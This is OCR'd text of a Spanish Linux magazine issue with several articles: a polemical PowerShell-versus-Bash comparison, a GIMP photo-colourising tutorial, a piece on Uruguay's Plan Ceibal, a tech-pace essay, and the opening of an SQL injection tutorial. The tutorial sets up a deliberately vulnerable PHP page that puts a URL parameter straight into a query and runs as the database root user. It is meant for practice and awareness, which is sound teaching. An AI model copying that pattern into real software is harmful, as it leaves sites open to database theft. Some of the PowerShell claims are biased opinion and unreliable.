derecho, elegir copiar, luego clic
derecho nuevamente, pegar.

Hasta el momento, sigo ignorando
qué tiene de “poderosa’ esta
herramienta, ya que el
Microsoft dice que PowerShell, se
diferencia del CMD normal de
Windows, por cerca de 100

mismo

comandos... mismos que en esta
aplicacion  denominaron  cmdlets
(conocidos también como

commandlet).
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Step by Step

Viéndolo desde un punto de vista mas
“linuxero”, Windows PowerShell es un
intento burdo por copiar el Shell de
Unix, jpero bastante burdo diria yo!
Esto lo podemos notar en los
comandos para obtener la ayuda o
manuales de cada comando, como
por ejemplo, si queremos obtener la
ayuda sobre cualquier comando, la
sintaxis sera la siguiente:

get-help *

Donde “*" lo remplazaremos por el
comando del cual necesitamos
obtener ayuda

Para los wusuarios de linux/unix,
recordaran que podemos hacer lo

mismo utilizando el comando man.

La cantidad de “coincidencias” que
encontramos entre Windows
PowerShell y la Shell de Unix/Linux
es increible... tanto asi que los de
Redmond decidieron “incluir” (por no
decir copiar descaradamente) el
sistema de alias que usamos en
Linux, es decir, Microsoft nos viene a
vender la idea ‘“revolucionaria” de
poder renombrar sus comandos para
elegir los que més te gusten o los que
mejor recuerdes... jesto se ve en
Linux desde hace afios! Digamos...
idesde el inicio! Pero démosle algo de

crédito a Microsoft, es algo bastante
bueno para lo pobre de su aplicacion.

No voy a entrar mucho en detalle con
los comandos de Windows
PowerShell ya que no es ese el
objetivo de esta nota, asi que
podemos cerrar la seccion de dicha
aplicacion, diciendo que es
Unicamente, y como ya lo dije al
principio de la nota, un complemento
para los sistemas de Microsoft, y
ademas, no se le acerca ni un poco al
poder del Shell de Unix/Linux que
veremos a continuacion. Si bien, el
mayor logro de Windows PowerShell
es la interaccion que tiene con SQL
Server, Exchange y con 1IS. Su mayor
utilidad es  automatizar tareas
administrativas.

UNIX Shell ILinux Bash

Voy a centrarme mucho mas en lo
que es Linux Bash, pero se entiende
por omisién que al estar basado en el
Shell de UNIX, ambos contendran
practicamente las mismas funciones.

Por definicion, el Bash es un
programa cuya funcién consiste en
interpretar Ordenes, dicho de otra
forma en la que la encontraran mas
comunmente por Internet,
Intérprete de Comandos. Su nombre
es acrénimo de “Bourne-Again Shell”,
haciendo un juego de palabras (born-
again significa renacimiento) sobre el
Bourne shell (sh), que fue uno de los
primeros intérpretes importantes de
Unix.

es un

Y bueno, evitando un poco la historia
y entrando de lleno a las fortalezas
del Bash, podemos decir que consiste
en la interfaz de usuario tradicional de
los sistemas operativos basados en
Unix y similares como GNU/Linux, es
decir, lo que conocemos como ‘la
consola” o “terminal” (estrictamente la

interfaz).

Y si te preguntas, porque seguro lo
haces, ¢qué se puede hacer con el
Bash? Pues mediante las
instrucciones que aporta el intérprete,
el usuario puede comunicarse con el
nacleo y obviamente, ejecutar dichas
Ordenes, asi como herramientas que
le permiten controlar el
funcionamiento de la computadora
(mucho mas que solo automatizar
tareas ¢no?). Pero tal vez hasta
ahora no te haya quedado claro el
poder del Bash o Shell de los
Sistemas Operativos basados en
UNIX...

Si ya has probado Linux, en
cualquiera de sus sabores, conoces
GNOME, KDE, etc... Sabes que es
digamoslo “facilmente”, un entorno
grafico. Pues bien, aunque por
omisién estas en lo correcto, también
podemos decir (y con toda confianza)
que todos ellos son, o pueden ser
llamados como bash/shells visuales o
bash/shells graficas. De manera
mucho mas amplia, en UNIX/Linux,
cualquier programa puede ser un
shell de usuario (dije puede ser, no
siempre lo es). Esto es, los usuarios
que desean utilizar una sintaxis
diferente para redactar comandos,
pueden especificar un intérprete
diferente como su shell de usuario.

En algunos sistemas, tal como BSD,
/bin/sh es un Bourne shell o un
equivalente, pero en otros sistemas
como muchas distribuciones de
Linux, /bin/sh es un enlace simbdlico
a un shell compatible con mas
caracteristicas (como Bash).

Los comandos que aportan los
intérpretes, pueden usarse a modo
de guion si se escriben en ficheros
ejecutables  denominados  shell-
scripts, de este modo, cuando el
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Debian CNU/Linux 3.1 biu

blu login: _

usuario necesita hacer uso de varios
comandos o combinados de
comandos con herramientas, escribe
en un fichero de texto marcado como
ejecutable, las operaciones que
posteriormente, linea por linea, el
intérprete traducira al ndcleo para que
las realice. Sin ser un shell
estrictamente un  lenguaje de
programacion, al proceso de crear
scripts de shell se le denomina
programacion shell o en inglés, shell
programming o shell scripting.

Ahora lo interesante (bueno todo esto
es interesante, pero vamos con la
comparacion), llegamos al punto en el
que veremos lo que podemos hacer
con Windows PowerShell y lo que
podemos hacer con Bash... veamos
gue tanta diferencia hay entre uno y
otro, ¢sera tan poderoso el Shell de
Windows?

Windows PowerShell:

- Uso de “cmdlets” propios de
Microsoft

- Creacién de “cmdlets” para
funciones especificas
- Administracion de usuarios de

manera remota

- Creacion y administracion de
eventos de Sistema

- Creacion de alias

- Funciones avanzadas en lenguaje
propio de la aplicacion (no compatible
con otras aplicaciones como el
Lenguaje C)

- Ayuda en pantalla

- Ayuda en linea (representa
un costo para ti, porque la
vende Microsoft)

- Interaccion con SQL, 1IS 'y
Exchange

- Poca portabilidad debido a la
diferencia entre versiones de
Windows

- Para ejecutar un script, es necesario
ser el creador del script, o bien, desde
la terminal, asignarle permisos de
ejecucién “momentanea” a
determinado usuario

- Hablando de comandos, PowerShell
utiliza el mismo cliente Telnet que se
utilizaba en Windows 95

- Sélo se permite utilizar la interfaz de
PowerShel para que funcione

- No hay “atajos” de teclado para
copiar y pegar

Shell/Bash:
- Uso de shell scripts
- Creacién de nuevos shell scripts

- Administracion de usuarios de
manera remota

- Creacion y administracion de
eventos del Sistema

- Creacion de alias

- Funciones avanzadas compatibles
con cualquier aplicacion que corra
bajo sistemas basados en UNIX (si no
es compatible, el mismo programador
o0 la propia comunidad puede hacerlo
compatible)

- Ayuda en pantalla

- Ayuda en linea, en foros, wikis,
revistas, etc.

- Gran nivel de portabilidad gracias a
gue Bash esta basado en el Shell de
UNIX, practicamente cualquier script
shell que hagas en tu sistema, servira
en cualquier otro basado en
UNIX/Linux

- Los permisos para la ejecucion de

shell scripts estan basados en los
permisos otorgados en el Sistema

- Actualizacién continua en los
comandos y sus funciones

- Podemos utilizar cualquier intérprete
de comandos para bash y shell
(mayor versatilidad)

- Posibilidad de usar atajos de
teclado para realizar diferentes
acciones

- Podemos hacer “tunneling”

- Uso de la tecla TAB para “predecir”
los comandos coincidentes con lo
gue estas escribiendo

Quisiera seguir
funciones entre ambas, pero la lista
que he hecho de PowerShell llega
hasta ahi... no puedo extenderla mas,
y la del Shell de Unix o Bash de Linux
seguiria creciendo jhasta no sé qué
punto!

comparando mas

Como podemos ver, y vya
documentado, no sélo es mi humilde
opinion, Windows PowerShell es sélo
una pequefia porciéon del pastel que
representa el Shell de Unix, y
haciendo esa comparacién, me
atrevo a decir que ni siquiera es una
porcién, es so6lo una cucharadita.

Rafael Murillo Mercado
linxack@gmail.com
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Mi primer empleo, cuando recién
aprendia a usar todo el Photoshop
(si hubo una época a final de los
90’s donde uno podia conocerlo

TODO), fue trabajar para un
laboratorio fotografico componiendo
imagenes para varias sucursales.
Reconstruia imagenes,
borraba/agregaba gente en retratos,
0 daba color a viejas fotos. En
Photoshop aparecieron las capas de
ajuste que simplificaron todo, pero
antes de eso, pocos nos acordamos
de cémo era trabajar con muchas
capas. GIMP se encuentra
actualmente como aquel viejo
Photoshop, ya que también carece
de las mencionadas capas de
ajuste. Este tutorial les permitira
sortear esta dificultad, pero les
advierto que usaran mas tiempo y
MAas pasos.

Paso 0: Abrir la imagen y activar la
opcién de menu IMAGEN > MODO >
RGB. De esta manera, en nuestra

0 0 0 X Cajade herra..
El.Cajade.herma 1,PSD-24.0 (escala de grises, 3 cap.

imagen se activan los 3 canales de 8
bits para desbalancear los valores
en la misma (si los valores RGB
estan equilibrados tenemos una
imagen de grises que contiene 3
veces mas informacion irrelevante).

Paso 1: ya mencioné que Gimp
NO POSEE CAPAS DE AJUSTE
(Mis alumnos de Photoshop han
visto este ejemplo pero con dichas
capas y mascaras), y por ello
deberemos usar copias de capas
(consumiendo mas memoria, pero
animo, la memoria es barata).
Primeramente se duplica la capa
actual, X+1 veces, (siendo “X" la
cantidad de colores que deseamos
poner en la imagen), la capa que se
encuentra debajo de todas, queda
en grises.

Paso 2: En los ajustes de imagen
tenemos los controles de BALANCE
DE COLOR, con el cual se logran
los mismos efectos que haciamos en

Dar color a una

foto anfigua

POR MARCOS "ANUBIS4D" CABALLERO

los minilabs cuando copiabamos
negativos (quienes hayan hecho
alguna vez una experiencia en
laboratorio, recordaran el filtrado del
negativo para la copia).

Dependiendo de la imagen que nos
toque, debemos corregir (como
vemos en el ejemplo), los tonos
medios. Mis alumnos de photoshop
se habran cansado de escuchar las
razones por las
usariamos TONO/Saturacion para
colorizar; 'y los cuidados que
debemos tener con la luminosidad
de la imagen en un modelo aditivo
de color (RGB). 0OJO.

cuales no

Lo importante en esta capa (la
segunda contando desde abajo
hacia arriba) es encontrar el tono
piel que se corresponda con la
luminosidad de la imagen.

Paso 3: El balance de color se
repite con diferentes valores para

.0 0 [\ ORCIN-1.PSD-24.0 (RCE, 3 capas) 1020x1281 - CMP__|

.00 8] Cain de herra JJERENS
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cada capa (excepto la primera, que
estd abajo de todo), si
thumbnails muy pequefios es
conveniente nombrar las capas con
el color que tendran.

usan

Paso 4: Como se ve en la imagen,
ya hay varias capas "coloreadas",
por asi decirlo. Si bien ahora es s6lo
cuestion de "eliminar lo que sobra en
cada una", muchos incluso hoy en
dia (aunque no lo crean) usan la
herramienta ERASER (goma de
borrar) para sacar algo de una capa.
Me he cansado explicar en charlas,
tutoriales, y cursos, que NO USEN
ESA HERRAMIENTA NUNCA MAS
ya que no so6lo no tiene sentido en el
mundo digital, sino que si la usamos
en una capa FONDO y cambiamos
el boton secundario, la goma se
comporta como UN PINCEL MAS
(esta herramienta es una pesada
carga que viene del macpaint en los
afios 80’s supongo). Como mis
alumnos se habran HARTADO de
escuchar, se deben usar Ilas
mascaras de capa (cosa maravillosa
si las hay) que aparecieron alla en
los 90’s en Photoshop vy
transformaron la forma de trabajar
completamente. Se crea una
mascara negra por cada capa,
entonces so6lo se vera la capa de
fondo (la primera de abajo), ya que
todas seran completamente
transparentes. En cada capa
usaremos el pincel y pintaremos con
BLANCO en todas aquellas areas
gue no deseemos que tengan color;
y con negro donde deseemos

transparentar la imagen.

Paso 5: Una vez que tuve la
mascara de la capa piel, usé esa
mascara invertida como mascara de
la capa donde le doy color al traje de
bafio, de esta manera el color verde
de la misma no se mezcla con la
piel. Conviene tener esto en cuenta
para cada encuentro de colores (en
photoshop es mucho mas facil y
seguro, en GIMP siempre
recomiendo mucho cuidado porque
el error esta ahi nomas).

Paso 6: Bueno, como ya se puede
ver, cada capa de color puede ser
modificada en cualquier momento,
en este caso corri el tono de color
en la capa VERDE para convertirlo
en VIOLETA. Como veran todavia
puedo seguir editando las mascaras
si deseo mayor nivel de detalles.
Algo importante a realizar es
desaturar los colores, ya que en las
camaras de dicha época la
impresion se hacia con tiempos de
obturacion largos o condiciones de
luz donde sobraban unos
diafragmas, razén por la cual el color
no es tan poderoso como podriamos
encontrar en una pelicula de baja
sensibilidad (donde debiamos usar
T/IO largos y los colores se
saturaban), por ello dar color implica
como paso final DESATURAR, no
gueremos que se note demasiado
nuestra mano en la imagen mas alla
de lo obvio.

Quienes conocen Photoshop o han

estado en algunos de mis cursos,
probablemente se sorprenderan de
la cantidad de pasos que he hecho
para dar color a esta imagen cuando
las CAPAS DE AJUSTE nos facilitan
la vida muchisimo vy evitan
semejante PILA DE IMAGENES,
pero es asi como trabajabamos
hace una década atrds antes que
dicha herramienta apareciera en
Photoshop; hoy en dia duplicar
capas parece un ejercicio tonto, y
suficiente, pero hubo una época en
la cual las computadoras tenian 32
0 64 megabytes de RAM en el
sistema... Donde escanear una
imagen de 32 megas y duplicar
capas implicaba que el archivo en
memoria pasaba a ocupar 32, 64Mb
y mucho mas... Windows 95 se
colgaba y perdiamos horas de
trabajo (si, dije horas porque salvar
versiones era una locura en los
discos de antes, que tenian como
mucho 500 megabytes o0 1 GB si
rompias el chanchito). GIMP sin
dudas puede darse el lujo de tener
una forma arcaica de trabajo (de los
afios 90) y prescindir de dicha

herramienta ya que los equipos
actuales cuentan con mucha
memoria y poder de

procesamiento... Pero no culpen a
los disefiadores por preferir hacer
en pocos pasos lo que al usuario de
GIMP le toma un buen rato... Ahi es
donde este programa se queda
corto.

Una vez dominada la técnica, no
deberia tomarles ni 10 minutos
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colorear una foto si usan photoshop
y es esperable que en GIMP (por no
tener capas de ajuste) les tome 20 o
30 minutos.

Recuerdo que en aquella época de
Photoshop 4, me perdia mucho con
cual capa mostraba u ocultaba, asi
gue se los redondeo en 45 minutos.
Este tiempo esta pensado para4 05
colores, si agregan mas... Hagan la
cuenta.

Este tutorial es basicamente una

_______________
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Solo esta capatiene
informacion, no

version resumida del tutorial que

hice en mi web/blog, donde hay
varios pasos extra que son mas que
recomendables para los que estan
avanzados, como por ejemplo la
seleccion con trazados, o canales de
color.

Cuando hablo de esto lo hago
puramente desde la técnica; con
GIMP podemos trabajar de la misma
forma en que yo lo hacia hace 10
afios con Photoshop (win95/98... Yo
era un adolescente). Ahora bien, si

piensan convertirse en verdaderos
profesionales, les recomiendo vy
recalco que compren una MAC
(UNIX) con Photoshop Extended
CS5 ya que solo en esta plataforma,
el workflow permite ejecutarla
rapido, hacer mas en menos tiempo
(léase més plata). Al menos hasta
que Adobe porte Photoshop para
linux o el desarrollo de GIMP
avance, pero sabemos que Ilo
segundo es mas dificil que lo
primero (después de todo Adobe
tenia un Photoshop para IRIX SGI).

Marcos “Anubis4D” Caballero
http://www.anubis4d.com.ar
http://marquitux.blogspot.com
twitter: @anubis4d
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El Plan Ceibal es un proyecto socio
educativo implementado por el
gobierno de la Republica Oriental del
Uruguay. Creado por Decreto
Presidencial con fecha del 18 de Abril
de 2007, con el fin de proporcionar a
cada escolar y maestro de la escuela
publica una computadora portatil,
capacitar a los docentes en el uso de
dicha herramienta, y promover la
elaboracién de propuestas educativas
acordes con las mismas. El
Significado de la palabra “Ceibal” es:
"Conectividad Educativa de
Informatica Basica para el
Aprendizaje en Linea".

Objetivos del Plan Ceibal

El Plan Ceibal busca promover la
inclusién tecnoldgica con el fin de
disminuir la brecha digital que existe
respecto de otros paises. No
obstante, la séla inclusion de la
tecnologia en las escuelas no
asegura el cumplimiento de la meta si
no se la acompafa de una propuesta
educativa acorde a los nuevos
requerimientos, tanto para los
maestros, como sus alumnos vy
familias.

Es asi que el Plan se basa en un
completo  sistema que  busca
garantizar no sélo el uso de los
recursos tecnoldgicos, sino también la
formacion docente, la elaboracion de

Proyecto Ceibal

POR NAUDY VILLARROEL URQUIOLA

contenidos adecuados, ademas de la
participacion familiar y social.

Los principios estratégicos que
encierra este proyecto son: la
equidad, igualdad de oportunidades
para todos los niflos y todos los
jovenes, democratizacion del
conocimiento, asi como también de
un aprendizaje, no sélo a la
educacion que se les da en la
Escuela, sino en aprender ellos
mismos a utilizar una tecnologia
moderna.

El proyecto desarrolla una cultura
colaborativa en cuatro lineas: nifio-
nifio, nifio-maestro, maestro-maestro
y nifio-familia-escuela. Promueve la
veracidad y criticidad tecnolégica en
la comunidad pedagodgica respetando
a los principios éticos.

De igual modo, este sistema busca la
formacién y actualizacion de los
docentes, asi como también la
implicacion y apropiacion, tanto en el
area técnica como en la pedagdgica,
facilitando el uso educativo de los
nuevos recursos. Ademas genera
sistemas de apoyo y asistencia
técnico pedagogica especifica
destinada a las  experiencias
escolares, asegurando su adecuado
desarrollo. De esta manera, involucra
a los padres en el acompafiamiento y
promocion de un uso adecuado y

responsable de la tecnologia para el
beneficio del nifio y la familia.

El Plan Ceibal desde su incursién ha
presentando avances significativos
que mencionaremaos a continuacion:

En mayo del 2007 se inicia una
prueba piloto en Vila Cardal
(departamento de Florida), con la
puesta en marcha para 150 alumnos
y sus profesores. Villa Cardal es un
pueblo de 1.290 habitantes y una
sola escuela de 150 nifios. Para esta
etapa se utilizan equipos que fueron
donados por One Laptop Per Child
(OLPC).

A modo de plan piloto, este periodo

para solucionar las

complicaciones que todo gran
proyecto encuentra al ponerse en
marcha.

Para Agosto 2009 se comenzé a
ampliar gradualmente el alcance del

Ceibal abarcando a las

instituciones de educacion privadas.
En octubre de ese mismo afio se
termina de completar el plan en todos
los departamentos del interior del

En octubre del 2010 el Plan Ceibal
comienza  su
entregando computadoras a los

segunda  etapa;
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alumnos del ciclo béasico de
enseflanza secundaria publica vy
alumnos de UTU.

Cabe destacar, que para llevar a cabo
este proyecto de gran envergadura se
requiere de muchos colaboradores,
en funcion de ello nace el RAP-
Ceibal.

¢Qué es el RAP-Ceibal?

La Red de Apoyo al Plan Ceibal
(RAP-Ceibal) fue creada para apoyar
el desarrollo del Plan. Cuenta con
voluntarios en todo Uruguay y trabaja
en grupos formados en cada
localidad. Sus integrantes son
voluntarios 'y no requieren de
conocimientos informaticos, ya que su
objetivo es colaborar a través de
distintas modalidades como por
ejemplo: participar de la entrega de
los equipos, realizar actividades con
padres y familiares, desarrollar
aspectos técnicos, ayudar a los nifios
a dar sus primeros pasos con los
equipos, entre otras.

Componente de Hardware del

Equipo

El aparato es pequefio, incluso
demasiado para ser manejado por las
manos de un adulto. El hardware de
la maquina esta disefiado para que
permita una larga duracion de la
bateria, y no para ser
extremadamente rapida. Las baterias
tienen una duracion de dias, no de
horas, gracias a un procesador con
baja frecuencia de reloj.

El portatil posee dos grandes antenas
de WiFi, que son al mismo tiempo los
cierres de la tapa. No tiene disco duro
sino memoria flash como dispositivo
para almacenar el sistema operativo y
los datos del usuario. La misma
puede expandirse por medio de

unidades externas de tipo estandar, a
través de sus tres puertos USB.

La tapa puede girarse totalmente y
convertir el aparato en una suerte de
tableta sin teclado, aunque el
siguiente prototipo XO-2 incluira una
pantalla tactil.

También estdn compuestas por una
webcam en la tapa, micréfono, dos
altavoces, lector de tarjetas SD,
varios botones tipo consola de juegos
y LEDs diversos para teclado y
bateria.

Componente de Software del

Equipo.

El sistema estaba basado
inicialmente en una licencia GNU con
ndcleo Linux y un sistema de
escritorio ultra simple en el que las
ventanas siempre se encuentran
maximizadas. Hay controles
alrededor de la ventana, en forma de
marco, que pueden mostrarse u
ocultarse mediante la presiéon de una
tecla. La OLPC sélo puede realizar
tareas basicas: escribir documentos,
elaborar dibujos, entrar a Internet,
juegos sencillos y escuchar musica,
ya que esta disefiado para quienes
nunca antes han tenido una PC.

Una de las piezas clave del proyecto,
en lo que se refiere al software de
comunicaciones, consiste en que las

unidades forman una red
autogestionada, donde cada uno de
los clientes es, al mismo tiempo, un
enrutador. Asi, la red extiende su
cobertura gracias a la presencia de
los propios aparatos, ya que cada
uno es enrutador del siguiente, de
manera que forman una cadena que
no depende de nodos centrales.

La conectividad con otras maquinas
estd apoyada por un sistema de
visualizacion del entorno local,
cercano y lejano. Unas teclas de
funcién ilustradas con simbolos
sencillos acceden a estos tres niveles
de visualizacion del entorno.

La otra pieza clave consiste en el
empleo del famoso entorno educativo
Squeak, que es un mundo de objetos
interactivos con vida propia gracias al
lenguaje Smalltalk (el propio Squeak
esta escrito en este lenguaje),
mediante el cual nifios de cualquier
edad aprenden conceptos gracias a
la experimentacién directa con
graficas tortuga y multimedia.

Ademas de Squeak/eToys, el sistema
contiene estas otras aplicaciones:
navegador web, lector de RSS,
chat/videoconferencia, un editor de
texto derivado del Abiword, Tam-Tam
(una aplicacion sencilla de masica) y
Memory (un juego de memoria
musical).

Usa como lenguajes de programacion
Python, JavaScript, Csound (lenguaje
de sintesis sonora) y el propio
entorno Squeak, aparte de los
usados por otros programadores.

A continuacién les detallamos los
requerimientos para optar y ser parte
activa de este proyecto.

Pasos para realizar la compra de
laptop del forma particular para
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alumnos de

Colegios
Privados son los siguientes:

y Liceos

1. Todos los alumnos de Colegios
Privados de 1° a 6° de Educacion
Primaria y Liceos Privados de 1° a 3°
de Ciclo Basico podran adquirir su
laptop llevando adelante los pasos
correspondientes para ello.

2. Los alumnos de Colegios Privados
adheridos a Plan Ceibal podran gozar
de las bonificaciones existentes para
la compra de laptops, en base a la
anualidad que se pague.

3. Los alumnos de Colegios NO
adheridos a Plan Ceibal, no
accederan a ningun tipo de
bonificacién, abonando por el equipo
el costo total correspondiente al
mismo.

4. Para efectuar la compra sera
excluyente presentar copia del
documento de identidad del usuario a

it

monitoring

quien se asignard la Laptop, junto con
la Declaracion Jurada que se
completara a continuacion. De no
presentarse ambos documentos NO
se efectuard la venta.

5. En caso de que quien firme la
Declaracion Jurada no pueda asistir
en la fecha asignada para el pago y
retiro del equipo, puede autorizar a
otra persona a hacerlo, completando
y entregando la siguiente Carta de
Autorizacion a Tercero

6. Mas detalles en
http://latu30.latu.org.uy/pls/portal/latu__
portal.cbl_muestro_cond_compras?h
_tipo_privado=1&h_grado=A

Plan Ceibal y Premio Frida 2011

El Plan Ceibal ha rendido sus frutos y
ha sido galardonado con el Premio
Frida, éste es el
otorgado a los proyectos que mas
han contribuido al desarrollo de la

reconocimiento

sociedad de la informacion de
América Latina y el Caribe.

Deseo manifestar un especial
agradecimiento a todo el equipo que
labora en el Plan Ceibal, en especial
a las personas que me suministraron
la informacién necesaria para la
elaboraciéon de este articulo: Lic.
Florencia Gonzalez (Area de
Comunicacion y Realizacion
Audiovisual), Lic. Alejandra Alcantara
(Area de Comunicacion y Realizacion
Audiovisual), Inés Blixen (Portal
Ceibal), Yeanina Merlo (Mesa de
Ayuda), Natalia Gonzalez (Mesa de
Ayuda).

Para mayor informacion :

Plan Ceibal
www.ceibal.edu.uy

Auv. ltalia 6201 CP: 11500
Edificio Los Ceibos
Montevideo, Uruguay
Tel.: (598) (02) 6015773

Naudy Villarroel Urquiola
twitter: @naudyu

System Management y Optimizacién de IT con software libre

http://www.itmonitoring.com.ar
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7.

Una de las cosas de la tecnologia
actual es que su desarrollo es medio
lento, obviamente lleva tiempo.
Pero, su implementacién es algo
gue ya da vértigo. Hagamos un poco
de historia y veremos. Cuando esto
de la computacion empezé alli por
fines del 70, habia una computadora
llamada Osborne.

Esta fue la primera computadora
portable. (Pantalla de 5" 1 a 4
unidades de disco de 5"1/4 CP/M
como S.O. y baterias en un gabinete
que pesaba entre 10 y 17Kg,
(dependiendo de la configuracion).

El Gerente de la compafiia que las
fabricaba, (creyendo que esto tenia
el mismo ritmo que los
electrodomésticos comunes),
anuncié que estaba en desarrollo la
Osborne I, la gente dejé de comprar
al Osborne pensando que ya llegaba
la nueva y la empresa queda con
stock muy alto que repentinamente
se inmovilizd. La empresa quebro.

Cuando llegaron
las PC. Hubo un
nivel de
fragmentacion

gue incluso hoy

asustaria,
muchas
empresas se
dedicaron a
sacar su propio
equipo en base a las

especificaciones basicas de IBM,
pero estos no eran 100%, miles de
equipos salieron a la calle con una
velocidad y caracteristicas que
superaban al IBM-PC pero todas
terminaron desapareciendo por el
problema de compatibilidad.

Cuando salié al mercado la primera
BIOS 100% compatible, el mercado
se dispard de nuevo, pero esta vez
los precios cayeron abruptamente ya
que el problema, y la competencia

se animé un poco y luego se
estanco.
Poco después empezd una

competencia por los programas,
donde evidentemente estaba la
diferencia para hacer dinero, los
desarrollos pasaron a periodos de
menos de 3 afios. posteriormente
los accesorios de hardware, placas
VGA, Mdbdem/FAX, Monitores e
impresoras. La cosa se empezd a

Vertigo

POR CLAUDIO DE BRASI

acelerar mas y mas cuando llegaron
los CD-ROM, DVD vy la aceleracion
gréfica para 3D. Algunos desarrollos
ya eran planeados a 2 afios o
incluso afio y medio.

Los celulares hace 12 afios no
enviaban mensaje de texto, y hace
10 aparecia el primer modelo con
capacidad de grabar sonido (Un
Sony), hace 9 de la pantalla a color
y 7 de la cdmara fotografica. Si uno
lo piensa, suena casi cavernario y
es a una década promedio.

Hoy dia la cosa se ha acelerado a
un nivel que casi roza la demencia,
una empresa es capaz de lanzar 6 a
18 modelos de notebook o netbook
para competir en un mercado donde
la diferencia es mas bien poca.

Los celulares salen a una velocidad
que hasta los desarrolladores se
confunden. (Motorola considerd
dejar de dar soporte a un teléfono
que habia lanzado al mercado 3
meses antes).

Hoy ya no hay muchos casos de
una version de software a 3 afios.
Ya se habla de sistemas operativos
cada 6 meses o de grandes
modificaciones a 24 meses como
mucho.

S



En Software uno podria hablar de
upgrades mayores en poco tiempo.
Firefox estaba en la version 4.0 en
abril y en Octubre la version 7.0.

Ya no se habla de un problema menor
de Software a solucionar en 3 0 6
meses como en WIinNT4. Hoy se
puede ver hablar de dias u horas. (Yo
Vi 4 updates de TZData en un solo
dia).

Me causa particularmente impresion
cuando en las entrevistas de trabajo
escucho al entrevistador preguntar,
¢Cémo se ve en la empresa a 10
afios?. Hace 10 afios el OpenGL
estaba iniciando en las PC, El Newton

habia fracasado, EI PDA de Palm
parecia que no iba a poder contra una
agenda y el iPod se creia que no
tenia mucho futuro. Hoy viendo el
mercado cambiar cada 18 meses o
menos, realmente me  cuesta
imaginar a 10 afos.

Una simple oficina puede terminar en
una corporacion mundial y una gran
empresa lider mundial puede pasar a
ser solo un recuerdo.

El presente es asi y si uno se para a
pensarlo, da vértigo.

Claudio De Brasi
Doldraug@gmail.com
twitter: @Doldraug

PD: Hay una expresion que dice
"Paren el mundo, me quiero bajar",
pero si nos bajamos enseguida nos
vamos a ver solos.

Dedicado a tres personas que
aceleraron el mundo y la tecnologia
informatica:

Dennis MacAlistair Ritchie: creador
del lenguaje C, miembro creador de
Unix.

Steve Jobs: Creador de una de las
empresas mas pujantes de la historia.

John McCarthy: el padre de la IA,
inventor de Lisp.
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El objetivo de

esta nota, que si

puedo sera el comienzo de

una serie de notas, sera hablar
del famoso sql injection, esta vez,
mostrando una dupla muy usada

para construir sitios en internet,

como es PHP y MYSQL.

El lector debera tener conocimientos
minimos de sentencias SQL, (Ya
que no es el objetivo de esta nota
explicar SQL), y se mostraran
ejemplos bésicos de sentencias
SQL.

Para poder seguir mejor la nota,
mostraré un ejemplo real de una
pagina mal programada adrede,
para que se pueda practicar. El
lector debera levantar un entorno

CREATE DATABASE tuxinfo;

USE tuxinfo

CREATE TABLE “users (
‘id® INT(10) UNSIGNED NOT NULL AUTO_INCREMENT,
‘name’ VARCHAR (50) NOT NULL,
‘password’ VARCHAR (50) NOT NULL,

PRIMARY KEY (°id’)

sgl injection

Guerreros de la oscuridad

ACLARACION: El contenido de este articulo tiene un fin
educativo, y para prevencion y concientizacion del uso de
buenas préacticas de programacion. Ni Marcelo Guazzardo, ni
los integrantes de Tuxinfo se haran responsables del mal uso
que se le pudiere dar a los conocimientos aqui explicitados.

LAMPP como se dice
apache, mysql, php con extensiones
mysgl. La idea es que si tengo
tiempo arme una virtual machine
para que se pueda seguir el articulo
y la ponga en mi pagina personal,
pero por ahora les dejo la tarea para
el hogar a ustedes. ;-).

ahora,

Comenzando

Para los fines de esta nota, voy a
seguir los ejemplos con el sitio que
doy como ejemplo.

NOTALl: Para este ejemplo, he
tomado y modificado algunos datos
de un paper de kaOz, lo pueden
encontrar en
http://www.insecure.in/papers/Blind_
MySQL_ Injection.pdf

POR MARCELO GUAZZARDO

NOTAZ2: El ejemplo esta dado como
root, ya que root en mysqgl tiene
privilegios de File, y otros, no en
todos los sitios que se puedan
inyectar van a encontrar como root
el userdb, pero aunque no lo crean,
me tocO hacer pen testing, y en
algunos estaban corriendo como
root jel userdb!. La recomendacién
es mas que obvia, JAMAS se
debera correr una db como root en
una aplicacion.

Generamos por empezar una base
donde alojaremos algunos datos
basicos, para la muestra de sql
injection.

A continuacion, el codigo:

) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latinl AUTO_INCREMENT=2 ;

—— users ——

'administrator', '123456');
'jaxOr', 'muestra');
'otro', 'algo');

INSERT INTO ‘users VALUES (1,
INSERT INTO ‘users VALUES (2,
INSERT INTO ‘users VALUES (3,

128 | wwiuino.comar



Lo que falta ahora, para los que no
saben como agregar este cédigo, es
ingresarlo a la base. Por ejemplo, a
este codigo, lo llamamos, codigo.sql,
y lo agregamos de la siguiente
manera.

rootQhack: /var/www# mysql -h

Luego deberan ver en su motor
mysqgl que la base tuxinfo ha sido
correctamente creada.

Ahora, lo que nos estaria faltando,
es agregar, una pagina en PHP,
especialmente disefiada para probar
el Blind Sql Injection, la pondremos

Ivariwww/buggy.php.

Para llegar a este archivo,
buggy.php, voy a generar algun
archivo al estilo “menu”, pero no va
a ser algo muy grafico, ya que lo
Unico que se quiere mostrar es el
concepto.

localhost -p < codigo.sql
Enter password: <aca pondran
su password de mysql >

en algun lugar accesible por nuestro
web server, en mi caso, como estoy A
en debian, la voy a poner en

continuacién, van los dos
archivos.

<html>

<title>Nivel de Acceso</title>

<b>Niveles Acceso</b>

<br>

<a href="buggy.php?id=1">Administrador</a>
<br>

<a href="buggy.php?id=2">jaxor</a>

<br>

<a href="buggy.php?id=3">otro</a>

Y ahora, el famoso buggy.php

<?php
# ———— CONFIG
S$host = 'localhost';
$dbuser = 'root';
$dbpass 'LACLAVEDETUDB'; ## Esto cambiarlo
$dbname = 'tuxinfo';
#
echo "<title>DEMO DE BLIND SQL INJECTION</title>";
$db = mysql_connect ($host, $dbuser, $dbpass);
if (!$db) {

die('No pudo conectarse: '

mysql_error());

}
mysql_select_db ($dbname, $db) ;

$sql = "SELECT * FROM users WHERE id=".$_GET['id'];
S$query = mysql_query ($sql);

if (@mysgl_num_rows (Squery) ==0) {
die('No hay columnas');

Sresult=@mysql_fetch_row ($Squery) ;

echo "<h2><center><u>DEMO DE SQL INJECTION<br>PARA TUX INFO</u><br><br>";
echo "<font color='#FF0000'>user_id: </font>".$result[0]."<br>";

echo "<font color='#FF0000'>username: </font>".S$result[1l]."<br>";

// echo "Passwd: ".Sresult[2]."<br>";

echo "</h2></center>";

die();

Como puse ahi donde dice LACLAVEDETUDB, eso deberdn cambiarlo, porque depende del entorno que ustedes
hayan elegido.
